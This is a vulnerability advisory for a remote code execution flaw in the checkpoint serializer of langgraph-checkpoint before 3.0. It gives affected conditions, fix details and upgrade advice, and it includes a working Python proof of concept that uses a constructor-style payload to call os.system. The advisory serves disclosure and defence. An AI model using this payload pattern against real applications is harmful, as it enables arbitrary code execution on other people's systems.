PT-2025-45786 · Pypi · Langgraph-Checkpoint
Published
2025-11-05
·
Updated
2025-11-05
CVSS v4.0
7.4
High
| Vector | AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H |
Summary
Prior to
langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.
Upgrading to version langgraph-checkpoint
3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.If you are deploying in
langgraph-api, any version 0.5 or later is also free of this vulnerability.Details
Affected file / component
By default, the serializer attempts to use
"msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.When operating in this mode, the deserializer supports a constructor-style format (
lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.Who is affected
This issue affects all users of
langgraph-checkpoint versions earlier than 3.0 who:- Allow untrusted or user-supplied data to be persisted into checkpoints, and
- Use the default serializer (or explicitly instantiate
JsonPlusSerializer) that may fall back to"json"mode.
If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.
Proof of Concept (PoC)
python
from langgraph.graph import StateGraph
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver
class State(TypedDict):
foo: str
attack: dict
def my node(state: State):
return {"foo": "oops i fetched a surrogate ud800"}
with SqliteSaver.from conn string("foo.db") as saver:
graph = (
StateGraph(State).
add node("my node", my node).
add edge(" start ", "my node").
compile(checkpointer=saver)
)
attack = {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
}
malicious payload = {
"attack": attack,
}
thread id = "00000000-0000-0000-0000-000000000001"
config = {"thread id": thread id}
# Malicious payload is saved in the first call
graph.invoke(malicious payload, config=config)
# Malicious payload is deserialized and code is executed in the second call
graph.invoke({"foo": "hi there"}, config=config)
Running this PoC writes a file
/tmp/pwnd.txt to disk, demonstrating code execution.Internally, this exploits the following code path:
python
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer() # Used within the checkpointer
serialized = serializer.dumps typed(malicious payload)
serializer.loads typed(serialized) # Executes os.system(...)
Fixed Version
The vulnerability is fixed in
langgraph-checkpoint==3.0.0Fix Description
The fix introduces an allow-list for constructor deserialization, restricting permissible
"id" paths to explicitly approved module/class combinations provided at serializer construction.Additionally, saving payloads in
"json" format has been deprecated to remove this unsafe fallback path.Mitigation
Upgrade immediately to
langgraph-checkpoint==3.0.0.This version is fully compatible with
langgraph>=0.3 and does not require any import changes or code modifications.In
langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.Fix
Deserialization of Untrusted Data
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Langgraph-Checkpoint